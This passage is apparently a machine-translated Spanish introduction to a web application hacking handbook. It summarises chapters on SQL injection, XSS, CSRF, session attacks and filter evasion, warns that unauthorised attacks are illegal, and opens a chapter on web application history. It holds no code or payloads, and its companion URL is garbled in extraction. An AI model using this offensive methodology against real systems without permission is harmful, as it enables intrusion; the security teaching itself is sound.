codificar datos. Si ya está familiarizado con las principales tecnologías web, puede
hojear este capítulo.
El Capítulo 4, “Asignación de la aplicación”, describe el primer ejercicio que debe realizar
cuando se dirige a una nueva aplicación: recopilar la mayor cantidad de información posible para
mapear su superficie de ataque y formular su plan de ataque. Este proceso incluye explorar y
probar la aplicación para catalogar todo su contenido y funcionalidad, identificar todos los puntos
de entrada para la entrada del usuario y descubrir las tecnologías en uso.
El Capítulo 5, "Evitar los controles del lado del cliente", cubre la primera área de vulnerabilidad
real, que surge cuando una aplicación depende de los controles implementados en el lado del
cliente para su seguridad. Este enfoque normalmente es defectuoso, porque cualquier control del
lado del cliente puede, por supuesto, eludirse. Las dos formas principales en que las aplicaciones
se vuelven vulnerables son transmitiendo datos a través del cliente suponiendo que no se
modificarán y confiando en las verificaciones del lado del cliente sobre la entrada del usuario.
Este capítulo describe una variedad de tecnologías interesantes, que incluyen controles ligeros
implementados en HTML, HTTP y JavaScript, y controles más pesados que usan applets de
Java, controles ActiveX, Silverlight y objetos Flash.
xxv Introducción
Los capítulos 6, 7 y 8 cubren algunos de los mecanismos de defensa más importantes implementados
dentro de las aplicaciones web: los responsables de controlar el acceso de los usuarios. El Capítulo 6,
"Autenticación de ataque", examina las diversas funciones mediante las cuales las aplicaciones se
aseguran de la identidad de sus usuarios. Esto incluye la función de inicio de sesión principal y también
las funciones más periféricas relacionadas con la autenticación, como el registro de usuarios, el cambio
de contraseña y la recuperación de cuentas. Los mecanismos de autenticación contienen una gran
cantidad de vulnerabilidades diferentes, tanto en el diseño como en la implementación, que un atacante
puede aprovechar para obtener acceso no autorizado.
Estos van desde defectos obvios, como contraseñas incorrectas y susceptibilidad a ataques de fuerza
bruta, hasta problemas más oscuros dentro de la lógica de autenticación.
También examinamos en detalle los tipos de mecanismos de inicio de sesión de varias etapas que se
utilizan en muchas aplicaciones críticas para la seguridad y describimos los nuevos tipos de
vulnerabilidades que contienen con frecuencia.
El Capítulo 7, "Administración de sesiones de ataque", examina el mecanismo mediante el cual la
mayoría de las aplicaciones complementan el protocolo HTTP sin estado con el concepto de una sesión
con estado, lo que les permite identificar de manera única a cada usuario en varias solicitudes diferentes.
Este mecanismo es un objetivo clave cuando ataca una aplicación web, porque si puede romperlo,
puede evitar el inicio de sesión y hacerse pasar por otros usuarios sin conocer sus credenciales.
Analizamos varios defectos comunes en la generación y transmisión de tokens de sesión y describimos
los pasos que puede seguir para descubrirlos y explotarlos.
El Capítulo 8, “Ataques a los controles de acceso”, analiza las formas en que las aplicaciones
realmente imponen los controles de acceso, confiando en los mecanismos de autenticación y
administración de sesiones para hacerlo. Describimos varias formas en que se pueden romper los
controles de acceso y cómo puede detectar y explotar estas debilidades.
Los capítulos 9 y 10 cubren una gran categoría de vulnerabilidades relacionadas, que surgen cuando
las aplicaciones incorporan la entrada del usuario en el código interpretado de manera no segura. El
Capítulo 9, "Ataque a los almacenes de datos", comienza con un examen detallado de las vulnerabilidades
de inyección SQL. Cubre la gama completa de ataques, desde los más obvios y triviales hasta las
técnicas de explotación avanzadas que involucran canales fuera de banda, inferencia y retrasos de
tiempo. Para cada tipo de vulnerabilidad y técnica de ataque, describimos las diferencias relevantes
entre tres tipos comunes de bases de datos: MS-SQL, Oracle y MySQL. Luego, analizamos una variedad
de ataques similares que surgen contra otros almacenes de datos, incluidos NoSQL, XPath y LDAP.
El Capítulo 10, "Ataque de componentes de back-end", describe varias otras categorías de

vulnerabilidades de inyección, incluida la inyección de comandos del sistema operativo, inyección en
lenguajes de secuencias de comandos web, ataques transversales de rutas de archivos, vulnerabilidades
de inclusión de archivos, inyección en XML, SOAP , solicitudes HTTP de back-end y servicios de correo
electrónico.
El Capítulo 11, “Lógica de la aplicación que ataca”, examina un área significativa, y

frecuentemente pasada por alto, de la superficie de ataque de cada aplicación: la lógica
interna que emplea para implementar su funcionalidad. Los defectos en la lógica de una
aplicación son extremadamente variados y más difíciles de caracterizar que las vulnerabilidades comunes.
Introducción xxvii
como inyección SQL y secuencias de comandos entre sitios. Por ello, presentamos una serie
de ejemplos del mundo real en los que una lógica defectuosa ha dejado vulnerable a una
aplicación. Estos ilustran la variedad de suposiciones erróneas que hacen los diseñadores y
desarrolladores de aplicaciones. A partir de estos diferentes defectos individuales, derivamos
una serie de pruebas específicas que puede realizar para localizar muchos tipos de defectos
lógicos que a menudo pasan desapercibidos.
Los capítulos 12 y 13 cubren un área amplia y muy actual de vulnerabilidades relacionadas
que surgen cuando los defectos dentro de una aplicación web pueden permitir que un usuario
malintencionado de la aplicación ataque a otros usuarios y los comprometa de varias maneras. El
capítulo 12, "Usuarios atacantes: secuencias de comandos entre sitios", examina la vulnerabilidad
más destacada de este tipo, una falla muy frecuente que afecta a la gran mayoría de las
aplicaciones web en Internet. Examinamos en detalle todos los diferentes tipos de vulnerabilidades
XSS y describimos una metodología efectiva para detectar y explotar incluso las manifestaciones
más oscuras de estas.
El Capítulo 13, "Usuarios atacantes: otras técnicas", analiza varios otros tipos de ataques
contra otros usuarios, incluida la inducción de acciones del usuario a través de la falsificación de
solicitudes y la reparación de la interfaz de usuario, la captura de datos entre dominios utilizando
varias tecnologías del lado del cliente, varios ataques contra el mismo -política de origen, inyección
de encabezado HTTP , inyección de cookies y fijación de sesión, redirección abierta, inyección de
SQL del lado del cliente, ataques de privacidad local y explotación de errores en los controles
ActiveX. El capítulo concluye con una discusión de una variedad de ataques contra los usuarios
que no dependen de las vulnerabilidades en ninguna aplicación web en particular, pero que
pueden enviarse a través de cualquier sitio web malicioso o atacante posicionado adecuadamente.
El Capítulo 14, "Automatización de ataques personalizados", no introduce nuevas categorías
de vulnerabilidades. En cambio, describe una técnica crucial que debe dominar para atacar las
aplicaciones web de manera efectiva. Debido a que cada aplicación web es diferente, la mayoría
de los ataques se personalizan de alguna manera, se adaptan al comportamiento específico de
la aplicación y las formas que ha descubierto para manipularla en su beneficio. También requieren
con frecuencia emitir una gran cantidad de solicitudes similares y monitorear las respuestas de la
aplicación. Realizar estas solicitudes manualmente es extremadamente laborioso y propenso a
errores. Para convertirse en un verdadero hacker de aplicaciones web, necesita automatizar la
mayor parte posible de este trabajo para que sus ataques personalizados sean más fáciles,
rápidos y efectivos . Este capítulo describe en detalle una metodología comprobada para lograr
esto.
También examinamos varias barreras comunes para el uso de la automatización, incluidos los
mecanismos defensivos de manejo de sesiones y los controles CAPTCHA. Además, describimos
herramientas y técnicas que puede utilizar para superar estas barreras.
El Capítulo 15, "Aprovechamiento de la divulgación de información", examina varias formas en
que las aplicaciones filtran información cuando están bajo un ataque activo. Cuando realice todos
los otros tipos de ataques descritos en este libro, siempre debe monitorear la aplicación para
identificar otras fuentes de divulgación de información que pueda explotar. Describimos cómo
puede investigar el comportamiento anómalo y los mensajes de error para obtener una
comprensión más profunda de la aplicación.
xxviii Introducción
funcionamiento interno y afina tu ataque. También cubrimos formas de manipular el

manejo defectuoso de errores para recuperar sistemáticamente información
confidencial de la aplicación.
El Capítulo 16, "Ataque de aplicaciones compiladas nativas", analiza un conjunto de
vulnerabilidades importantes que surgen en aplicaciones escritas en lenguajes de código
nativo como C y C++. Estas vulnerabilidades incluyen desbordamientos de búfer,
vulnerabilidades de números enteros y fallas de cadena de formato. Debido a que este es un
tema potencialmente enorme, nos enfocamos en las formas de detectar estas vulnerabilidades
en las aplicaciones web y observamos algunos ejemplos del mundo real de cómo han surgido y se han explotado.
El Capítulo 17, "Atacando la arquitectura de aplicaciones", examina un área importante de
la seguridad de las aplicaciones web que con frecuencia se pasa por alto. Muchas aplicaciones
emplean una arquitectura en niveles. Si no se segregan correctamente los diferentes niveles,
a menudo la aplicación queda vulnerable, lo que permite que un atacante que haya encontrado
un defecto en un componente comprometa rápidamente toda la aplicación. Una gama diferente
de amenazas surge en entornos de alojamiento compartido, donde los defectos o el código
malicioso en una aplicación a veces pueden explotarse para comprometer el propio entorno y
otras aplicaciones que se ejecutan en él. Este capítulo también analiza la variedad de
amenazas que surgen en los tipos de entornos de alojamiento compartido que se conocen
como “computación en la nube”.
El Capítulo 18, "Ataque al servidor de aplicaciones", describe varias formas en las que
puede dirigirse a una aplicación web dirigiéndose al servidor web en el que se ejecuta. Las
vulnerabilidades en los servidores web se componen en general de defectos en su configuración
y fallas de seguridad dentro del software del servidor web. Este tema está en el límite de los
temas tratados en este libro, porque el servidor web es estrictamente un componente diferente
en la pila de tecnología. Sin embargo, la mayoría de las aplicaciones web están íntimamente
ligadas al servidor web en el que se ejecutan.
Por lo tanto, los ataques contra el servidor web se incluyen en el libro porque a menudo se
pueden usar para comprometer una aplicación directamente, en lugar de comprometer primero
indirectamente el host subyacente.
El Capítulo 19, "Búsqueda de vulnerabilidades en el código fuente", describe un enfoque
completamente diferente para encontrar fallas de seguridad que los descritos en otras partes
de este libro. En muchas situaciones, puede ser posible revisar el código fuente de una
aplicación, no todas las cuales requieren la cooperación del propietario de la aplicación. La
revisión del código fuente de una aplicación a menudo puede ser muy eficaz para descubrir
vulnerabilidades que serían difíciles o requerirían mucho tiempo para detectar mediante el
sondeo de la aplicación en ejecución. Describimos una metodología y proporcionamos una
hoja de trucos idioma por idioma para permitirle realizar una revisión de código eficaz, incluso
si tiene una experiencia de programación limitada.
El Capítulo 20, “Conjunto de herramientas para hackers de aplicaciones web”, reúne las diversas
herramientas descritas en este libro. Estas son las mismas herramientas que usan los autores cuando
atacan aplicaciones web del mundo real. Examinamos las características clave de estas herramientas
y describimos en detalle el tipo de flujo de trabajo que generalmente necesita emplear para
aprovecharlas al máximo. También examinamos la medida en que cualquier herramienta totalmente automatizada
Introducción xxix
puede ser efectivo para encontrar vulnerabilidades de aplicaciones web. Finalmente, brindamos algunos
consejos y sugerencias para aprovechar al máximo su conjunto de herramientas.
El Capítulo 21, “La metodología de un hacker de aplicaciones web”, es una recopilación completa y
estructurada de todos los procedimientos y técnicas descritos en este libro. Estos se organizan y ordenan
de acuerdo con las dependencias lógicas entre las tareas cuando se lleva a cabo un ataque real. Si ha
leído y entendido todas las vulnerabilidades y técnicas descritas en este libro, puede utilizar esta
metodología como una lista de verificación completa y un plan de trabajo al realizar un ataque contra
una aplicación web.
Novedades en esta edición

En los cuatro años desde que se publicó la primera edición de este libro, mucho ha cambiado y mucho
ha permanecido igual. La marcha de la nueva tecnología, por supuesto, ha continuado a buen ritmo, y
esto ha dado lugar a nuevas vulnerabilidades y ataques específicos. El ingenio de los piratas informáticos
también ha llevado al desarrollo de nuevas técnicas de ataque y nuevas formas de explotar errores
antiguos. Pero ninguno de estos factores, tecnológicos o humanos, ha creado una revolución. Las
tecnologías utilizadas en las aplicaciones actuales tienen sus raíces en aquellas que tienen muchos
años.
Y los conceptos fundamentales involucrados en las técnicas de explotación de vanguardia de hoy en día
son más antiguos que muchos de los investigadores que los aplican con tanta eficacia. La seguridad de
las aplicaciones web es un área dinámica y emocionante para trabajar, pero la mayor parte de lo que
constituye nuestra sabiduría acumulada ha evolucionado lentamente durante muchos años. Habría sido
distintivamente reconocible para los profesionales que trabajaban hace una década o más.
Esta segunda edición no es una reescritura completa de la primera. La mayor parte del material de la
primera edición sigue siendo válido y actual en la actualidad. Aproximadamente el 30 % del contenido
de esta edición es nuevo o ha sido revisado exhaustivamente. El 70% restante ha tenido modificaciones
menores o ninguna. Si se ha actualizado desde la primera edición y se siente decepcionado por estos
números, debe animarse. Si domina todas las técnicas descritas en la primera edición, ya tiene la
mayoría de las habilidades y conocimientos que necesita. Puede concentrarse en las novedades de esta
edición y aprender rápidamente sobre las áreas de seguridad de aplicaciones web que han cambiado
en los últimos años.
Una característica nueva significativa de la segunda edición es la inclusión a lo largo del libro de
ejemplos reales de casi todas las vulnerabilidades que se tratan.
Dondequiera que vea un "¡Pruébelo!" enlace, puede conectarse en línea y trabajar interactivamente con
el ejemplo que se está discutiendo para confirmar que puede encontrar y explotar la vulnerabilidad que
contiene. Hay varios cientos de estos laboratorios, en los que puede trabajar a su propio ritmo mientras
lee el libro. Los laboratorios en línea están disponibles mediante suscripción por una tarifa modesta para
cubrir los costos de hospedaje y mantenimiento de la infraestructura involucrada.
Introducción
Si quiere centrarse en las novedades de la segunda edición, aquí tiene un resumen de las áreas
clave en las que se ha añadido o reescrito material: El Capítulo 1, "(In)seguridad de las aplicaciones
web", se ha actualizado parcialmente para reflejar nuevos usos. de aplicaciones web, algunas
tendencias generales en tecnologías y las formas en que el perímetro de seguridad de una organización
típica ha seguido cambiando.
El Capítulo 2, "Mecanismos básicos de defensa", ha tenido cambios menores. Se
han agregado algunos ejemplos de técnicas genéricas para eludir las defensas de
validación de entrada.
El Capítulo 3, "Tecnologías de aplicaciones web", se ha ampliado con algunas secciones nuevas
que describen tecnologías que son nuevas o que se describieron más brevemente en otra parte de la
primera edición. Los temas agregados incluyen REST, Ruby on Rails, SQL, XML, servicios web, CSS,
VBScript, el modelo de objeto de documento, Ajax, JSON, la política del mismo origen y HTML5.
El Capítulo 4, “Mapeo de la aplicación”, ha recibido varias actualizaciones menores para reflejar los
avances en las técnicas para mapear el contenido y la funcionalidad.
El Capítulo 5, "Omisión de los controles del lado del cliente", se actualizó más extensamente . En
particular, la sección sobre tecnologías de extensión del navegador se ha reescrito en gran parte para
incluir una guía más detallada sobre enfoques genéricos para la decompilación y depuración de códigos
de bytes, cómo manejar datos serializados en formatos comunes y cómo lidiar con obstáculos comunes
para su trabajo, incluidos los no -Clientes con reconocimiento de proxy y problemas con SSL. El
capítulo ahora también cubre la tecnología Silverlight.
El Capítulo 6, "Atacar la autenticación", permanece actualizado y solo tiene actualizaciones menores.
El Capítulo 7, "Administración de sesiones de ataque", se actualizó para cubrir nuevas herramientas

para probar automáticamente la calidad de la aleatoriedad en los tokens. También contiene material
nuevo sobre cómo atacar tokens cifrados, incluidas técnicas prácticas para la manipulación de tokens
sin conocer el algoritmo criptográfico o la clave de cifrado que se utiliza.
El Capítulo 8, "Ataque a los controles de acceso", ahora cubre las capacidades de las
vulnerabilidades de control de acceso que surgen del acceso directo a los métodos del lado del servidor
y de la configuración incorrecta de la plataforma donde se usan reglas basadas en métodos HTTP para
controlar el acceso. También describe algunas herramientas y técnicas nuevas que puede utilizar para
automatizar parcialmente la tarea frecuentemente onerosa de probar los controles de acceso.
El material de los capítulos 9 y 10 se ha reorganizado para crear capítulos más manejables y una
disposición más lógica de los temas. El Capítulo 9, "Atacar almacenes de datos", se centra en la
inyección de SQL y ataques similares contra otras tecnologías de almacenamiento de datos. Dado que
las vulnerabilidades de inyección de SQL se han vuelto más conocidas y abordadas, este material
ahora se enfoca más en situaciones prácticas en las que todavía se encuentra la inyección de SQL.
También hay actualizaciones menores para reflejar las tecnologías actuales y los métodos de ataque.
Se incluye una nueva sección sobre el uso de herramientas automatizadas para explotar vulnerabilidades
de inyección SQL. El material sobre la inyección LDAP se ha reescrito en gran medida para incluir
información más detallada.
Introducción xxxi
cobertura de tecnologías específicas (Microsoft Active Directory y OpenLDAP), así

como nuevas técnicas para explotar vulnerabilidades comunes. Este capítulo ahora
también cubre los ataques contra NoSQL.
El Capítulo 10, "Ataque a los componentes de back-end", cubre los otros tipos de
vulnerabilidades de inyección del lado del servidor que se incluyeron anteriormente en el Capítulo 9.
Las nuevas secciones cubren la inyección de entidades externas XML y la inyección en
solicitudes HTTP de back-end, incluida la inyección/contaminación de parámetros HTTP y la
inyección en esquemas de reescritura de URL.
El Capítulo 11, "Atacar la lógica de la aplicación", incluye más ejemplos del mundo real de
fallas lógicas comunes en las funciones de validación de entrada. Con el aumento del uso del
cifrado para proteger los datos de las aplicaciones en reposo, también incluimos un ejemplo de
cómo identificar y explotar los oráculos de cifrado para descifrar los datos cifrados.
El tema de los ataques contra otros usuarios de la aplicación, anteriormente cubierto en el
Capítulo 12, se ha dividido en dos capítulos, porque este material se estaba volviendo
inmanejable. El capítulo 12, "Usuarios atacantes: secuencias de comandos entre sitios", se
centra únicamente en XSS. Este material ha sido ampliamente actualizado en varias áreas. Las
secciones sobre eludir los filtros defensivos para introducir código script se han reescrito por
completo para cubrir nuevas técnicas y tecnologías, incluidos varios métodos poco conocidos
para ejecutar código script en los navegadores actuales . También hay una cobertura mucho
más detallada de los métodos para ofuscar el código de script para eludir los filtros de entrada
comunes. El capítulo incluye varios ejemplos nuevos de ataques XSS del mundo real. Una
nueva sección sobre la entrega de exploits XSS que funcionan en condiciones desafiantes cubre
la escalada de un ataque a través de las páginas de la aplicación, la explotación de XSS a
través de cookies y el encabezado Referer , y la explotación de XSS en contenido de solicitud y
respuesta no estándar, como XML. Hay un examen detallado de los fi ltros XSS incorporados
de los navegadores y cómo se pueden eludir para generar vulnerabilidades. Las nuevas
secciones analizan técnicas específi cas para explotar XSS en aplicaciones de correo web y en
archivos cargados. Finalmente, hay varias actualizaciones de las medidas defensivas que se
pueden usar para prevenir ataques XSS.
El nuevo Capítulo 13, "Usuarios atacantes: otras técnicas", une el resto de esta enorme
área. El tema de la falsificación de solicitudes entre sitios se actualizó para incluir ataques CSRF
contra la función de inicio de sesión, defectos comunes en las defensas anti-CSRF, ataques de
reparación de la interfaz de usuario y defectos comunes en las defensas contra ataques de
marcos. Una nueva sección sobre captura de datos entre dominios incluye técnicas para robar
datos mediante la inyección de texto que contiene HTML y CSS sin secuencias de comandos, y
varias técnicas para la captura de datos entre dominios mediante JavaScript y E4X. Una nueva
sección examina la política del mismo origen con más detalle, incluida su implementación en
diferentes tecnologías de extensión del navegador, los cambios introducidos por HTML5 y las
formas de cruzar dominios a través de aplicaciones de servicio de proxy. Hay nuevas secciones
sobre inyección de cookies del lado del cliente, inyección SQL y contaminación de parámetros
HTTP . La sección sobre ataques a la privacidad del lado del cliente se ha ampliado para incluir
mecanismos de almacenamiento proporcionados por las tecnologías de extensión del navegador y HTML5.
Por último, se ha añadido una nueva sección que reúne los ataques generales contra
xxxiii Introducción
usuarios web que no dependen de vulnerabilidades en ninguna aplicación en particular.

Estos ataques pueden ser entregados por cualquier sitio web malicioso o comprometido o por un
atacante que esté adecuadamente posicionado en la red.
El Capítulo 14, "Automatización de ataques personalizados", se ha ampliado para cubrir las
barreras comunes a la automatización y cómo sortearlas. Muchas aplicaciones emplean
mecanismos defensivos de manejo de sesiones que terminan las sesiones, usan tokens anti-
CSRF efímeros o usan procesos de varias etapas para actualizar el estado de la aplicación. Se
describen algunas herramientas nuevas para manejar estos mecanismos, que le permiten
continuar utilizando técnicas de prueba automatizadas. Una nueva sección examina los controles
de CAPTCHA y algunas vulnerabilidades comunes que a menudo se pueden explotar para
eludirlos.
El Capítulo 15, “Explotación de la divulgación de información”, contiene nuevas secciones sobre
XSS en mensajes de error y explotación de oráculos de descifrado.
El Capítulo 16, "Ataque de aplicaciones compiladas nativas", no se ha actualizado.
El Capítulo 17, "Atacando la arquitectura de aplicaciones", tiene una nueva sección sobre las
vulnerabilidades que surgen en las arquitecturas basadas en la nube y ejemplos actualizados de
cómo explotar las debilidades de la arquitectura.
El Capítulo 18, "Ataque al servidor de aplicaciones", contiene varios ejemplos nuevos de
vulnerabilidades interesantes en plataformas y servidores de aplicaciones, incluidos Jetty, la
consola de administración JMX, ASP.NET, el servidor Apple iDisk, el servidor web Ruby WEBrick
y el servidor web Java. También tiene una nueva sección sobre enfoques prácticos para eludir
los cortafuegos de aplicaciones web.
El Capítulo 19, "Búsqueda de vulnerabilidades en el código fuente", no se ha actualizado.
El Capítulo 20, “Juego de herramientas para piratas informáticos de aplicaciones web”, se ha actualizado
con detalles sobre las funciones más recientes de los conjuntos de herramientas basadas en proxy. Contiene
nuevas secciones sobre cómo enviar por proxy el tráfi co de clientes que no son conscientes de proxy y cómo
eliminar errores de SSL en navegadores y otros clientes causados por el uso de un proxy de interceptación.
Este capítulo contiene una descripción detallada del flujo de trabajo que normalmente se emplea
cuando se prueba con un conjunto de herramientas basado en proxy. También tiene una nueva
discusión sobre los escáneres de vulnerabilidad web actuales y los enfoques óptimos para
usarlos en diferentes situaciones.
Se actualizó el Capítulo 21, "La metodología de un hacker de aplicaciones web".
para reflejar los pasos de la nueva metodología descritos a lo largo del libro.
Herramientas que necesitará
Este libro está fuertemente orientado hacia técnicas prácticas que puede usar para atacar
aplicaciones web. Después de leer el libro, comprenderá las especificaciones de cada tarea
individual, lo que implica técnicamente y por qué lo ayuda a detectar y explotar vulnerabilidades.
Enfáticamente, el libro no se trata de descargar una herramienta, apuntarla a una aplicación de
destino y creer lo que la salida de la herramienta le dice sobre el estado de seguridad de la
aplicación.
Introducción xxxiii
Dicho esto, encontrará varias herramientas útiles, ya veces indispensables,

al realizar las tareas y técnicas que describimos. Todos ellos están disponibles
en Internet. Le recomendamos que descargue y experimente con cada
herramienta a medida que lea sobre ella.
Qué hay en el sitio web
El sitio web complementario de este libro en http://mdsec.net/wahh, al que también puede

vincularse desde www/wiley.com/go/webhacker2e, contiene varios recursos que
encontrará útiles en el curso de dominar las técnicas. los describimos y los usamos para
atacar aplicaciones reales. En particular, el sitio web contiene acceso a lo siguiente:
n Código fuente de algunos de los scripts que presentamos en el libro

n Una lista de enlaces actuales a todas las herramientas y otros recursos discutidos en
el libro
n Una práctica lista de verificación de las tareas involucradas en atacar una aplicación
típica n Respuestas a las preguntas planteadas al final de cada capítulo n Cientos de
laboratorios de vulnerabilidad interactivos que se utilizan en ejemplos a lo largo de
este libro y que están disponibles por suscripción para ayudarlo desarrollar y
perfeccionar sus habilidades
Dale
La seguridad de las aplicaciones web sigue siendo un tema divertido y próspero.
Disfrutamos escribir este libro tanto como continuamos disfrutando hackeando
aplicaciones web a diario. Esperamos que también disfrute aprender sobre las diferentes
técnicas que describimos y cómo puede defenderse de ellas.
Antes de continuar, debemos mencionar una advertencia importante. En la mayoría
de los países, atacar los sistemas informáticos sin el permiso del propietario es ilegal .
La mayoría de las técnicas que describimos son ilegales si se llevan a cabo sin
consentimiento.
Los autores son evaluadores de penetración profesionales que atacan de forma
rutinaria las aplicaciones web en nombre de los clientes para ayudarlos a mejorar su
seguridad. En los últimos años, numerosos profesionales de la seguridad y otros
adquirieron antecedentes penales , y terminaron sus carreras, al experimentar o atacar
activamente los sistemas informáticos sin permiso. Le instamos a utilizar la información
contenida en este libro únicamente para fines lícitos.
Capítulo R
(In)seguridad de aplicaciones web
No hay duda de que la seguridad de las aplicaciones web es un tema actual y de interés
periodístico. Para todos los involucrados, hay mucho en juego: para las empresas que obtienen
ingresos crecientes del comercio por Internet, para los usuarios que confían en las aplicaciones
web con información confidencial y para los delincuentes que pueden ganar mucho dinero
robando detalles de pago o comprometiendo cuentas bancarias. La reputación juega un papel fundamental.
Pocas personas quieren hacer negocios con un sitio web inseguro, por lo que pocas
organizaciones quieren revelar detalles sobre sus propias vulnerabilidades o infracciones de seguridad.
Por lo tanto, no es una tarea trivial obtener información confiable sobre el estado de la seguridad
de las aplicaciones web en la actualidad.
Este capítulo analiza brevemente cómo han evolucionado las aplicaciones web y los muchos
beneficios que brindan. Presentamos algunas métricas sobre vulnerabilidades en las aplicaciones
web actuales, extraídas de la experiencia directa de los autores, que demuestran que la mayoría
de las aplicaciones están lejos de ser seguras. Describimos el problema central de seguridad que
enfrentan las aplicaciones web (que los usuarios pueden proporcionar entradas arbitrarias) y los
diversos factores que contribuyen a su postura de seguridad débil.
Finalmente, describimos las últimas tendencias en seguridad de aplicaciones web y cómo se
espera que se desarrollen en el futuro cercano.
1
2 Capítulo 1 n (In)seguridad de aplicaciones web
La evolución de las aplicaciones web

En los primeros días de Internet, la World Wide Web constaba únicamente de sitios web.
Estos eran esencialmente depósitos de información que contenían documentos estáticos .
Los navegadores web se inventaron como un medio para recuperar y mostrar esos
documentos, como se muestra en la Figura 1-1. El flujo de información interesante era
unidireccional, del servidor al navegador. La mayoría de los sitios no autentificaban a los
usuarios porque no era necesario. Cada usuario fue tratado de la misma manera y se le
presentó la misma información. Todas las amenazas a la seguridad que surgían del
alojamiento de un sitio web estaban relacionadas en gran medida con vulnerabilidades en
el software del servidor web (de las cuales había muchas). Si un atacante comprometía un
servidor web, por lo general no obtendría acceso a ninguna información confidencial,
porque la información contenida en el servidor ya estaba abierta al público. Más bien, un
atacante normalmente modificaría los archivos en el servidor para desfigurar el contenido
del sitio web o usaría el almacenamiento y el ancho de banda del servidor para distribuir "warez".
Figura 1-1: Un sitio web tradicional que contiene información estática
Hoy en día, la World Wide Web es casi irreconocible de su forma anterior.

La mayoría de los sitios en la web son, de hecho, aplicaciones (consulte la Figura
1-2). Son muy funcionales y se basan en un flujo de información bidireccional entre
el servidor y el navegador. Admiten registro e inicio de sesión, transacciones financieras,
Capítulo 1 n (In)seguridad de aplicaciones web 3
búsqueda y la creación de contenido por parte de los usuarios. El contenido presentado a los
usuarios se genera dinámicamente sobre la marcha y, a menudo, se adapta a cada usuario específico.
Gran parte de la información procesada es privada y altamente sensible. La seguridad,
por lo tanto, es un gran problema. Nadie quiere usar una aplicación web si cree que su
información será revelada a terceros no autorizados.
Figura 1-2: Una aplicación web típica
Las aplicaciones web traen consigo amenazas de seguridad nuevas e importantes.

Cada aplicación es diferente y puede contener vulnerabilidades únicas. La mayoría de
las aplicaciones se desarrollan internamente, muchas por desarrolladores que solo
tienen una comprensión parcial de los problemas de seguridad que pueden surgir en el
código que están produciendo. Para brindar su funcionalidad principal, las aplicaciones
web normalmente requieren conectividad a sistemas informáticos internos que contienen
datos altamente confidenciales y que pueden realizar funciones comerciales poderosas.
Hace quince años, si deseaba realizar una transferencia de fondos, visitaba su banco y
el cajero realizaba la transferencia por usted; hoy, puede visitar una aplicación web y
realizar la transferencia usted mismo. Un atacante que compromete una aplicación web
puede robar información personal, cometer fraude financiero y realizar acciones
maliciosas contra otros usuarios.
Funciones comunes de aplicaciones web

Las aplicaciones web se han creado para realizar prácticamente todas las funciones
útiles que podría implementar en línea. Aquí hay algunas funciones de aplicaciones
web que han cobrado importancia en los últimos años:
n Compras (Amazon) n Redes
sociales (Facebook) n Banca (Citibank) n
Búsqueda web (Google) n Subastas (eBay)
n Juegos de azar (Betfair) n Registros web
(Blogger) n Correo web (Gmail) n Información
interactiva (Wikipedia)
Las aplicaciones a las que se accede mediante un navegador de computadora se superponen cada
vez más con las aplicaciones móviles a las que se accede mediante un teléfono inteligente o una tableta.
La mayoría de las aplicaciones móviles emplean un navegador o un cliente personalizado que utiliza API
basadas en HTTP para comunicarse con el servidor. Las funciones y los datos de la aplicación
generalmente se comparten entre las diversas interfaces que la aplicación expone a diferentes plataformas
de usuario.
Además de la Internet pública, las aplicaciones web se han adoptado ampliamente dentro de las
organizaciones para respaldar las funciones comerciales clave. Muchos de estos brindan acceso a datos
y funcionalidades altamente confidenciales:
n Aplicaciones de recursos humanos que permiten a los usuarios acceder a la información de la

nómina, dar y recibir comentarios sobre el desempeño y administrar los procedimientos
disciplinarios y de contratación .
n Interfaces administrativas para la infraestructura clave, como servidores web y de correo, estaciones
de trabajo de usuarios y administración de máquinas virtuales. n Software de colaboración utilizado
para compartir documentos, gestionar el flujo de trabajo y los proyectos, y realizar un seguimiento de
los problemas. Estos tipos de funcionalidad a menudo involucran problemas críticos de seguridad
y gobierno, y las organizaciones a menudo confían completamente en los controles integrados en
sus aplicaciones web. n Las aplicaciones comerciales, como el software de planificación de
recursos empresariales (ERP), a las que antes se accedía mediante una aplicación patentada de
cliente pesado, ahora se puede acceder mediante un navegador web.
n Los servicios de software como el correo electrónico, que originalmente requerían un cliente de
correo electrónico independiente, ahora pueden accederse a través de interfaces web como
Outlook Web Access.
n Las aplicaciones tradicionales de oficina de escritorio, como procesadores de texto y hojas de

cálculo, se han migrado a aplicaciones web a través de servicios como Google Apps y Microsoft
Office Live.
En todos estos ejemplos, las aplicaciones que se perciben como "internas" se hospedan
cada vez más en el exterior a medida que las organizaciones recurren a proveedores de servicios
externos para reducir costos. En estas llamadas soluciones en la nube , la funcionalidad y los
datos críticos para el negocio están abiertos a una gama más amplia de posibles atacantes, y
las organizaciones dependen cada vez más de la integridad de las defensas de seguridad que
están fuera de su control.
Se acerca rápidamente el momento en que el único software de cliente que necesitarán

la mayoría de los usuarios de computadoras es un navegador web. Se habrá implementado
una amplia gama de funciones utilizando un conjunto compartido de protocolos y tecnologías
y, al hacerlo, habrá heredado una gama distintiva de vulnerabilidades de seguridad comunes.
Beneficios de las Aplicaciones Web

No es difícil ver por qué las aplicaciones web han disfrutado de un ascenso tan espectacular
a la prominencia. Varios factores técnicos han trabajado junto con los incentivos comerciales
obvios para impulsar la revolución que se ha producido en la forma en que usamos
La Internet:
n HTTP, el protocolo de comunicaciones principal utilizado para acceder a la World Wide

Web, es liviano y no requiere conexión. Esto proporciona resiliencia en caso de
errores de comunicación y evita la necesidad de que el servidor mantenga abierta
una conexión de red para cada usuario, como ocurría en muchas aplicaciones cliente/
servidor heredadas. HTTP también se puede utilizar como proxy y tunelizado sobre
otros protocolos, lo que permite una comunicación segura en cualquier configuración
de red.
n Cada usuario de la web ya tiene un navegador instalado en su computadora y
dispositivo móvil. Las aplicaciones web implementan su interfaz de usuario de forma
dinámica en el navegador, lo que evita la necesidad de distribuir y administrar software
de cliente por separado, como ocurría con las aplicaciones anteriores a la web. Los
cambios en la interfaz deben implementarse solo una vez, en el servidor, y surten
efecto de inmediato.
n Los navegadores actuales son muy funcionales y permiten crear interfaces de usuario ricas y
satisfactorias. Las interfaces web utilizan navegación estándar y
controles de entrada que son inmediatamente familiares para los usuarios, evitando la necesidad
de aprender cómo funciona cada aplicación individual. Las secuencias de comandos del lado
del cliente permiten que las aplicaciones envíen parte de su procesamiento al lado del cliente,
y las capacidades de los navegadores se pueden ampliar de forma arbitraria utilizando
tecnologías de extensión del navegador cuando sea necesario.
n Las tecnologías y los lenguajes principales utilizados para desarrollar aplicaciones web son
